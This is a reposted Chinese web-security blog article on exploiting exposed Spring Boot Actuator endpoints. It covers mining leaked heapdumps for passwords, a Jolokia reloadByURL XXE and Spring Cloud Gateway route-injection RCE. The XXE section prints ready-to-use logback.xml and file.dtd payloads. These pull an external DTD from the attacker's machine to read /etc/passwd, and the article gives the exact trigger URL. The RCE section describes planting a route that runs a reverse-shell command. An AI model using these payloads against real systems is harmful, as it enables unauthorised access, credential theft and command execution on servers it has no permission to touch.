【web安全】actuator实战利用思路

admin 2025年3月20日13:32:35评论0 views字数 1961阅读6分32秒阅读模式
背景

Spring Boot Actuator 是 Spring Boot 生态系统中的一个关键组件,旨在提供对应用程序的监控和管理能力。它提供了一系列的端点(endpoints),允许开发人员查看应用的运行状态、环境变量、日志、线程信息,甚至可以远程执行某些操作。然而,Actuator 端点如果配置不当,可能会导致严重的安全漏洞,允许攻击者未经授权访问敏感信息,甚至执行恶意操作。

本文章将讲述几个在实战中遇到的actuator端点的利用办法。

一、heapdump文件泄露

1、前提条件

端点中存在ip地址/actuator/heapdump

2、利用过程

在github中下载以下两个工具:             https://github.com/whwlsfb/JDumpSpider

https://github.com/wyzxxz/heapdump_tool

下载后将两个jar放入同一个目录

【web安全】actuator实战利用思路

在此处的cmd运行命令 java -jar .JDumpSpider-1.1-SNAPSHOT-full.jar heapdump > output.txt

jdumpSpider会自动提取heapdump中的敏感信息并保存进入output.txt,可以在output.txt中查询到泄露的各类数据库和系统的密码。

【web安全】actuator实战利用思路

jdumpspider自动提取有时信息覆盖不全,想要自定义查询需要用到heapdump_tool。

运行命令java -jar .heapdump_tool.jar heapdump,选1加载所有object。等待加载完成后,输入想要搜索的关键词,即可自动搜索到相关内容。示例中搜索的是password字符串。

【web安全】actuator实战利用思路

二、jolokia XXE

1、前提条件

actuator开启了jolokia端点,且jolokia/list中存在reloadByURL方法

2、利用过程

先在本地创建文件,并且在此目录的cmd输入命令python -m http.server 80,开启httpserver。

【web安全】actuator实战利用思路

logback.xml内容如下。

<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE a [ <!ENTITY % remoteSYSTEM"http://本机ip/file.dtd">%remote;%int;]>

<a>&trick;</a>

file.dtd内容如下。

<!ENTITY % d SYSTEM"file:///etc/passwd"><!ENTITY % int"<!ENTITY trick SYSTEM ':%d;'>">

该xml的作用是定义并且引用了”remote”外部实体,强制解析器访问file.dtd文件。再通过%remote;%int;的引用链,将远程dtd文件中的 int 实体插入到本地的 XML 文件中。

file.dtd则定义了”d”实体,指向系统的passwd文件。然后又定义了一个普通实体”trick”,该实体通过 SYSTEM 机制读取了/etc/passwd 文件。

最终,在 XML 解析时,trick 实体会被替换为/etc/passwd 文件的内容,并且返回给前端。

在浏览器中访问 http://target_ip/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/本机ip!/logback.xml

【web安全】actuator实战利用思路

发现目标ip访问了我本地的xml和file.dtd,说明进行了xml解析。

【web安全】actuator实战利用思路

从访问页面burp的抓包中可以看见读取到的passwd文件。

【web安全】actuator实战利用思路

三、spring cloud gateway远程代码执行

1、前提条件

actuator开启了gateway端点,且spring cloud gateway版本小于3.1.1

2、利用过程

访问actuator界面,注意到有gateway这一endpoint。

【web安全】actuator实战利用思路

访问https://目标ip/api/actuator/gateway/routes可以看到里面的路由。

【web安全】actuator实战利用思路

创建一个test1路由,里面写一个反弹bash的命令,数据包如下。

【web安全】actuator实战利用思路

刷新路由,尝试执行该命令。

【web安全】actuator实战利用思路

反弹shell的命令大概率会被拦截,这里提供执行ipconfig命令并回显的方法用于验证漏洞可用于执行命令。

写一个用于执行ifconfig命令的表达式并且进行refresh,访问该路由,发现执行该命令并且回显到浏览器中,证明该漏洞存在。

【web安全】actuator实战利用思路

【web安全】actuator实战利用思路

植入路由后会反复触发命令,需要通过DELETE删除路由才会停止触发。

DELETE /api/actuator/gateway/routes/test1host:

END

原文始发于微信公众号(安全驾驶舱):【web安全】actuator实战利用思路

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月20日13:32:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【web安全】actuator实战利用思路https://cn-sec.com/archives/3862359.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息